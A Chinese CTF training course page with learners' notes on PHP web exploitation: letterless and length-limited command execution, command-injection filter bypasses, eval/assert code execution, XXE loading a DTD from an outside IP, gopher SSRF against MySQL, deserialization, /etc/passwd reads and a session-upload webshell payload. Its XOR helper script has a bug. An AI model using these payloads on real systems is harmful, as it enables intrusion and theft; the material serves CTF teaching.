默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

 无数字字母命令执行课程中的产生异或源码

<?php
$a = '~!@#$%^&*()_+\|/?.,<>`-={}[]';
for($i = 0;$i<strlen($a);$i++){
	for($j=0;$j<strlen($a);$j++){
		if(ord($a[$i]^$a[$j])>64&&ord($a[$i]^$a[$j])<91){
			echo $a[$i]. ' xor '.$a[$j].' is ';
			echo chr(ord($a[$i]^$a[$j])). ' ';
				echo ord($a[$i]^$a[$j]);
			echo "\n<br>";
		}elseif(ord($a[$i]^$a[$j])>96&&ord($a[$i]^$a[$j])<122){
			echo $a[$i].' xor '.$a[$j].' is ';
			echo chr(ord($a[$i]^$a[$i])).' ';
			echo ' '.ord($a[$i]^$a[$j]);
			echo "\n<br>";
		}
	}
}
?>

 

不客气~~

结果:

~ xor $ is Z 90 
~ xor & is X 88 
~ xor * is T 84 
~ xor ( is V 86 
~ xor ) is W 87 
~ xor + is U 85 
~ xor / is Q 81 
~ xor ? is A 65 
~ xor . is P 80 
~ xor , is R 82 
~ xor < is B 66 
~ xor - is S 83 
~ xor = is C 67 
! xor @ is 97 
! xor ` is A 65 
! xor { is Z 90 
@ xor ! is 97 
@ xor # is 99 
@ xor $ is 100 
@ xor % is 101 
@ xor & is 102 
@ xor * is 106 
@ xor ( is 104 
@ xor ) is 105 
@ xor + is 107 
@ xor / is 111 
@ xor . is 110 
@ xor , is 108 
@ xor - is 109 
# xor @ is 99 
# xor ` is C 67 
# xor { is X 88 
# xor [ is 120 
$ xor ~ is Z 90 
$ xor @ is 100 
$ xor \ is 120 
$ xor | is X 88 
$ xor ` is D 68 
$ xor } is Y 89 
$ xor ] is 121 
% xor @ is 101 
% xor \ is 121 
% xor | is Y 89 
% xor ` is E 69 
% xor } is X 88 
% xor ] is 120 
^ xor & is 120 
^ xor * is 116 
^ xor ( is 118 
^ xor ) is 119 
^ xor + is 117 
^ xor / is 113 
^ xor ? is 97 
^ xor . is 112 
^ xor , is 114 
^ xor < is 98 
^ xor - is 115 
^ xor = is 99 
& xor ~ is X 88 
& xor @ is 102 
& xor ^ is 120 
& xor _ is 121 
& xor | is Z 90 
& xor ` is F 70 
* xor ~ is T 84 
* xor @ is 106 
* xor ^ is 116 
* xor _ is 117 
* xor \ is 118 
* xor | is V 86 
* xor ` is J 74 
* xor { is Q 81 
* xor } is W 87 
* xor [ is 113 
* xor ] is 119 
( xor ~ is V 86 
( xor @ is 104 
( xor ^ is 118 
( xor _ is 119 
( xor \ is 116 
( xor | is T 84 
( xor ` is H 72 
( xor { is S 83 
( xor } is U 85 
( xor [ is 115 
( xor ] is 117 
) xor ~ is W 87 
) xor @ is 105 
) xor ^ is 119 
) xor _ is 118 
) xor \ is 117 
) xor | is U 85 
) xor ` is I 73 
) xor { is R 82 
) xor } is T 84 
) xor [ is 114 
) xor ] is 116 
_ xor & is 121 
_ xor * is 117 
_ xor ( is 119 
_ xor ) is 118 
_ xor + is 116 
_ xor / is 112 
_ xor . is 113 
_ xor , is 115 
_ xor < is 99 
_ xor > is 97 
_ xor - is 114 
_ xor = is 98 
+ xor ~ is U 85 
+ xor @ is 107 
+ xor ^ is 117 
+ xor _ is 116 
+ xor \ is 119 
+ xor | is W 87 
+ xor ` is K 75 
+ xor { is P 80 
+ xor } is V 86 
+ xor [ is 112 
+ xor ] is 118 
\ xor $ is 120 
\ xor % is 121 
\ xor * is 118 
\ xor ( is 116 
\ xor ) is 117 
\ xor + is 119 
\ xor / is 115 
\ xor ? is 99 
\ xor . is 114 
\ xor , is 112 
\ xor > is 98 
\ xor - is 113 
\ xor = is 97 
| xor $ is X 88 
| xor % is Y 89 
| xor & is Z 90 
| xor * is V 86 
| xor ( is T 84 
| xor ) is U 85 
| xor + is W 87 
| xor / is S 83 
| xor ? is C 67 
| xor . is R 82 
| xor , is P 80 
| xor > is B 66 
| xor - is Q 81 
| xor = is A 65 
/ xor ~ is Q 81 
/ xor @ is 111 
/ xor ^ is 113 
/ xor _ is 112 
/ xor \ is 115 
/ xor | is S 83 
/ xor ` is O 79 
/ xor { is T 84 
/ xor } is R 82 
/ xor [ is 116 
/ xor ] is 114 
? xor ~ is A 65 
? xor ^ is 97 
? xor \ is 99 
? xor | is C 67 
? xor { is D 68 
? xor } is B 66 
? xor [ is 100 
? xor ] is 98 
. xor ~ is P 80 
. xor @ is 110 
. xor ^ is 112 
. xor _ is 113 
. xor \ is 114 
. xor | is R 82 
. xor ` is N 78 
. xor { is U 85 
. xor } is S 83 
. xor [ is 117 
. xor ] is 115 
, xor ~ is R 82 
, xor @ is 108 
, xor ^ is 114 
, xor _ is 115 
, xor \ is 112 
, xor | is P 80 
, xor ` is L 76 
, xor { is W 87 
, xor } is Q 81 
, xor [ is 119 
, xor ] is 113 
< xor ~ is B 66 
< xor ^ is 98 
< xor _ is 99 
< xor { is G 71 
< xor } is A 65 
< xor [ is 103 
< xor ] is 97 
> xor _ is 97 
> xor \ is 98 
> xor | is B 66 
> xor { is E 69 
> xor } is C 67 
> xor [ is 101 
> xor ] is 99 
` xor ! is A 65 
` xor # is C 67 
` xor $ is D 68 
` xor % is E 69 
` xor & is F 70 
` xor * is J 74 
` xor ( is H 72 
` xor ) is I 73 
` xor + is K 75 
` xor / is O 79 
` xor . is N 78 
` xor , is L 76 
` xor - is M 77 
- xor ~ is S 83 
- xor @ is 109 
- xor ^ is 115 
- xor _ is 114 
- xor \ is 113 
- xor | is Q 81 
- xor ` is M 77 
- xor { is V 86 
- xor } is P 80 
- xor [ is 118 
- xor ] is 112 
= xor ~ is C 67 
= xor ^ is 99 
= xor _ is 98 
= xor \ is 97 
= xor | is A 65 
= xor { is F 70 
= xor [ is 102 
{ xor ! is Z 90 
{ xor # is X 88 
{ xor * is Q 81 
{ xor ( is S 83 
{ xor ) is R 82 
{ xor + is P 80 
{ xor / is T 84 
{ xor ? is D 68 
{ xor . is U 85 
{ xor , is W 87 
{ xor < is G 71 
{ xor > is E 69 
{ xor - is V 86 
{ xor = is F 70 
} xor $ is Y 89 
} xor % is X 88 
} xor * is W 87 
} xor ( is U 85 
} xor ) is T 84 
} xor + is V 86 
} xor / is R 82 
} xor ? is B 66 
} xor . is S 83 
} xor , is Q 81 
} xor < is A 65 
} xor > is C 67 
} xor - is P 80 
[ xor # is 120 
[ xor * is 113 
[ xor ( is 115 
[ xor ) is 114 
[ xor + is 112 
[ xor / is 116 
[ xor ? is 100 
[ xor . is 117 
[ xor , is 119 
[ xor < is 103 
[ xor > is 101 
[ xor - is 118 
[ xor = is 102 
] xor $ is 121 
] xor % is 120 
] xor * is 119 
] xor ( is 117 
] xor ) is 116 
] xor + is 118 
] xor / is 114 
] xor ? is 98 
] xor . is 115 
] xor , is 113 
] xor < is 97 
] xor > is 99 
] xor - is 112 

[展开全文]

4位可控

 

>f\>     最终生成的文件名,为了不影响 dir 要把名字改的在d后面

>ht-

>sl

>dir       生成dir文件,然后 * 就是dir的效果了

*>v         把dir的效果输出到v里面

>rev        创建一个v

*v>0       反向结果输出到0

sh 0       运行

[展开全文]

伪随机数:
mt_srand

上限

mt_getrandmax()

随机数种子:
php_mt_seed
 

http://www.openwall.com/php_mt_seed/

[展开全文]

xxe:
theme 参数名称
一 分割
第一个参数 class
二  三  四  参数

flag.php   文件读取/getshell

cookie:theme=SimpleXMLElement-http://ip/xxx.xml-options-true

Cookie:theme=SimpleXMLElement-http://106.12.37.37/xxe.xml-0-true

[展开全文]

xml、dtd及blind xxe基础讲解
xxe系列:

 

[展开全文]

gopher对mysql的利用及例题讲解:
ssrf
mysql 无密码
 

gopher

 

登入数据库
查询数据

 

gopher://127.0.0.1:3306/_

 

分割:
data="asdasds"

a=[data[i:i+2] from i in range(0,len(data),2)] 

 

 

[展开全文]

php session序列化相关问题及例题、以及phar序列化的讲解

php bug 71101
 

php.   |序列
php_s  序列

phar反序列化:

 

[展开全文]

反序列化:
数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串存储在本地。相反的行为称为反序列化。
序列化和反序列化的目的是使得程序间传输对象会更加方便。

serialize:
产生一个课存储的值的标识
serialize(mixed $value):string

unserialize:
从已存储的表示中创建PHP的值
unserialize(string $str):mixed
unserialize()对单一的已序列化的变量进行操作,将其转换回PHP的值

123.206.87.240:8006/test1

http://123.206.87.240:8006/test1/?txt=php://input
welcome to the bugkuctf

 
 
 
 
 
 
 
 
[展开全文]

5位、4位可控字符下的任意命令执行

 

 
 
 
 
 
 
 
 
[展开全文]

15位、7位可控字符下的任意命令执行 :

可控字符串长度受限情况下Getshell:

15个字符:
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<15){
  echo strlen($_GET[1]);
  echo shell_exec($_GET[1]);
}else{
  exit('too long');
}
?>
 

echo /<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1

 

7个字符
<?php

highlight_file(_FILE_);
if(strlen($_GET[1])<8){
  echo shell_exec($_GET[1]);
}
?>

 

命令>文件名
结果输出到文件

>。生成文件名
ls -t >a 文件名写入a
sh a 执行写入的啊

 

欠缺。顺序  ls -t
sh a

长命令\换行分隔

l\
s
pw\
d

 
 
 
 
 
 
 
 
[展开全文]

命令执行:
命令执行无回显的判断方法
判断:
延时
http请求
DNS请求


ceye.io

利用
写shell(直接写入/外部下载)
http/dns等方式带出数据

http://172.16.206.100/rce/dnslog/?ping=; cp where_is_flag.php 1.txt //把php文件写入1.txt

[展开全文]

(服务器命令)命令注入:
string system(string command,int &return_var)
可以用来执行系统命令并将相应的执行结果输出

<?php
highlight_file(_FILE_);
system('pwd');
system('whoami');

?>
/var/www/html/rce/demo/SystemCode www-data

命令执行绕过:
<?php
highlight_file(_FILE_);
$rce="echo 123";
system($rce.$_GET[1]);
?>
 

换行符:%0a
回车符:%0d(没成功)
连续指令: ;
后台进程:&
管道符:|
(逻辑?):|| &&

 

<符号
$IFS
${IFS}
$IFS$9
%09用于url传递

a=l;b=s;$a$b

`echo d2hvYW1p|base64 -D`
base64编码

 

 
 
 
 
 
 
 
 
[展开全文]

代码/命令执行:
system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的主要原因;
相关函数,代码注入:

<?php
highlight_file(_FILE_);
$a='phpinfo();';
eval($a);
?>

Mixed eval(string code_str)
eval-把字符串作为PHP代码执行
Code_str是PHP代码字符串
 

 Cknife

bool assert(mixed $assertion [, string $description ] )

assert-检查一个断言是否为FALSE
assertion 是字符串,它将会被当做PHP代码执行。

<?php
error_reportion(E_ALL);
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`pwd`;")';
assert($a);
echo 123;
?>
123

<?php
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`dir`;")';
assert($a);
echo "11111";
?>
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $...]])
callback 是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数

可以传递任何内置的或者用户自定义的函数。
除了语言结构如:array(),echo(),empty(),eval(),exit(),isset(),list(),print()和unset()

<?php
highlight_file(_FILE_);
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>
/var/www/html/rce/demo/phpcode
 


 

string create_function(string $args,string $code)
create_function-create an anonymous (lambda-style) function

args是要创建的函数的参数,code是函数内的代码。
<?php
highlight_file(_FILE_);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);

$a='phpinfo();';
$b=create_fuction(' ',$a);
$b();

?>
hello
 

array array_map(callable $callback,array $array1[, array $...])
array_map-为数组的每个元素应用回调函数
<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
$c=array_map($a,$array);
?>

bool usort(array &$array, callable $value_compare_func)
usort-使用用户自定义的比较函数对数组中的值进行排序

<?php
highlight_file(_FILE_);
usort(...$_GET);
#usort($_GET[1],'assert')
?>
 

${php代码}
${phpinfo()};
<?php
highlight_file(_FILE_);
${phpinfo()};
?>

 

 
 
 
 
 
 
 
 
[展开全文]

session:
php默认生成的session文件往往存放在/tmp目录下
 

6c9774e2c9fc4d22aa521b604c1038bdb7ee849d1f4f4803.game.ichunqiu.com/action.php
 

?module=&file=/etc/passwd

robots.txt
?module=&file=robots.txt
open_basedir
<?php phpinfo(); ?>
session.save_path

[展开全文]

session:
session.upload_progress.enabled这个参数在php.ini默认开启,需要手动置为off,如果不是off,就会在上传的过程中生成上传进度文件,他的存储路径可以在phpinfo获取到
/var/lib/php5/sess_{your_php_session_id}

106.12.37.37:10009
 

php://filter/convert-base64.encode

@<?php file_put_contents('/tmp/web','@<?php eval($_POST[1])?>'); ?>

 
 
 
 
 
 
 
 
[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)